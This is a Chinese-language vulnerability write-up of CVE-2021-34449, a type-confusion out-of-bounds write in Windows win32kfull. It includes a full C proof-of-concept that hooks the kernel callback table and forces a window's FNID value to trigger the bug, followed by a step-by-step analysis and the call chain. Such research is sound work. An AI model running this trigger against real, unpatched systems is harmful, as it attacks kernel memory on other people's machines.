CVE-2021-34449

九月 27, 2021

一、漏洞信息

1. 漏洞简述

win32kfull中一个类型混淆引发的越界写

漏洞编号：CVE-2021-34449
漏洞类型：越界写
漏洞影响：本地提权

2. 组件概述

win32k 是一个负责管理窗口管理器（User）和图形设备接口（GDI）的内核模式驱动程序。

3. 漏洞利用

没有分析到利用的部分。

4. 漏洞影响

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449

5. 解决方案

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34449

二、漏洞复现

1. 环境搭建

win10 1909 64位，更新到修复漏洞前一个版本

2. poc执行流程

完整poc

#include <stdio.h>
#include <windows.h>

HWND g_hWnd = NULL;
HMODULE hWin32u = GetModuleHandleA("win32u.dll");
typedef ULONG_PTR(__fastcall* fnNtUserConsoleControl)(ULONG_PTR, PVOID, ULONG_PTR);
typedef ULONG_PTR(__fastcall* fnNtUserSetWindowFNID)(HWND, ULONG_PTR);
typedef BOOL(APIENTRY* NtUserCallHwndParamPtr)(HWND hWnd, DWORD value, DWORD func);
NtUserCallHwndParamPtr NtUserCallHwndParam = NULL;
fnNtUserConsoleControl pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl");

fnNtUserSetWindowFNID pfnNtUserSetWindowFNID = (fnNtUserSetWindowFNID)GetProcAddress(hWin32u, "NtUserSetWindowFNID");


#define CallSetDialogPointer 0x65

VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) {
	ULONG64 ulArr[0x20] = { 0 };
	ulArr[0] = (ULONG64)g_hWnd;
	if ((*(HWND*)*(HWND*)MSG) == g_hWnd) {
		puts("qaq");
		NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer);
	}

}

VOID fnDWORDHook(PMSG MSG) {

	;

}


VOID Hook_Func(VOID) {

	DWORD OldProtect = 0;

	BYTE* _teb = (BYTE*)__readgsqword(0x30);
	PVOID* _peb = *(PVOID**)(_teb + 0x60);

	PULONG64	CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);

	VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);

	*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

	*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;

	VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);

}

int main(int argc, char* argv[]) {

	WNDCLASS wc = { 0 };
	wc.cbWndExtra = 0x30;
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = (LPCWSTR)0xc01f;

	RegisterClass(&wc);

	NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");

	g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);

	SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);

	Hook_Func();

	pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);

	DestroyWindow(g_hWnd);

	return 0;
}

注册窗口类，额外内存大小为0x30

WNDCLASS wc = { 0 };
wc.cbWndExtra = 0x30;
wc.lpfnWndProc = DefWindowProc;
wc.lpszClassName = (LPCWSTR)0xc01f;

RegisterClass(&wc);

获取win32u!NtUserCallHwndParam函数地址

1	NtUserCallHwndParam = (NtUserCallHwndParamPtr)GetProcAddress(GetModuleHandle(L"win32u"), "NtUserCallHwndParam");

创建窗口，将窗口句柄用SetWindowLongA函数写到额外内存中

1
2
3

g_hWnd = CreateWindow(wc.lpszClassName, NULL, 0, 0, 0, 100, 100, NULL, NULL, NULL, NULL);

SetWindowLongA(g_hWnd, 0, (ULONG)g_hWnd);

hook 回调函数表,xxxClientFreeWindowClassExtraBytesHook函数通过调用NtUserCallHwndParam用对应的调用号来调用SetDialogPointer函数，fnDWORD函数则被替换成空函数

#define CallSetDialogPointer 0x65

VOID xxxClientFreeWindowClassExtraBytesHook(PVOID MSG) {
	ULONG64 ulArr[0x20] = { 0 };
	ulArr[0] = (ULONG64)g_hWnd;
	if ((*(HWND*)*(HWND*)MSG) == g_hWnd) {
		puts("qaq");
		NtUserCallHwndParam(g_hWnd, 0x01, CallSetDialogPointer);
	}

}

VOID fnDWORDHook(PMSG MSG) {

	;

}

VOID Hook_Func(VOID) {

	DWORD OldProtect = 0;

	BYTE* _teb = (BYTE*)__readgsqword(0x30);
	PVOID* _peb = *(PVOID**)(_teb + 0x60);

	PULONG64	CallbackTable = (PULONG64) * (ULONG64*)((ULONG64)_peb + 0x58);

	VirtualProtect(CallbackTable, 0x1000, 0x40, &OldProtect);

	*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x02) = (ULONG64)fnDWORDHook;

	*(ULONG64*)((ULONG64)CallbackTable + 0x08 * 0x7C) = (ULONG64)xxxClientFreeWindowClassExtraBytesHook;

	VirtualProtect(CallbackTable, 0x1000, OldProtect, &OldProtect);

}

设置窗口对象的的 FNID 值为 0x2a4(dialog)，该值标识了窗口的状态和类型，这里强行设置了该标识导致类型混淆，之后销毁窗口，触发hook掉的xxxClientFreeWindowClassExtraBytesHook函数从而调用SetDialogPointer函数触发漏洞

1
2
3

pfnNtUserSetWindowFNID(g_hWnd, 0x2A4);

DestroyWindow(g_hWnd);

三、漏洞分析

1. 基本信息

漏洞文件：win32kfull.sys
漏洞函数：

win32kfull!NtUserSetWindowFNID 函数检查不严谨
漏洞对象：tagWND

2. 背景知识

tagWND 有个 FNID 字段标识了窗口的类型和状态，还有个额外内存空间。

3. 详细分析

1. 基础分析

poc 所描述的问题是“pwnd”变量已传递给 SetDialogPointer 函数，并且不安全地转换为 PDIALOG，但没有正确的结构。然后写入 pdlg 成员，越界写入 8 个字节，但我觉得不大对劲，虽然存在类型混淆没有正确结构的问题，但这里因为对齐的原因，pdlg 处分配的内存是比需要的要多 8 字节的，所以不存在越界，暂且当作越界了分析，若有师傅知道问题所在还望指点。

BOOL SetDialogPointer(
     PWND pwnd,
     LONG_PTR lPtr)
 {
     PDIALOG pdialog;
...
     pdialog = UNSAFE_CAST_FNID_ZERO(PDIALOG)(pwnd);
 
     if (pdialog) {
         __try {
             pdialog->pdlg = (PDLG)lPtr;
         }__except (W32ExceptionHandler(FALSE, RIP_WARNING)) {
         }
 ...
 }

2. 静态分析

1. 函数调用链

带额外内存的窗口创建：

设置 FNID：

NtUserSetWindowFNID -> win32u!NtUserSetWindowFNID -> win32kfull!NtUserSetWindowFNID

触发：

DestroyWindow -> USER32!NtUserDestroyWindow -> win32kfull!NtUserDestroyWindow
调用 hook 的回调函数xxxClientFreeWindowClassExtraBytesHook-> win32u!NtUserCallHwndParam -> win32kfull!NtUserCallHwndParam -> win32kfull!SetDialogPointer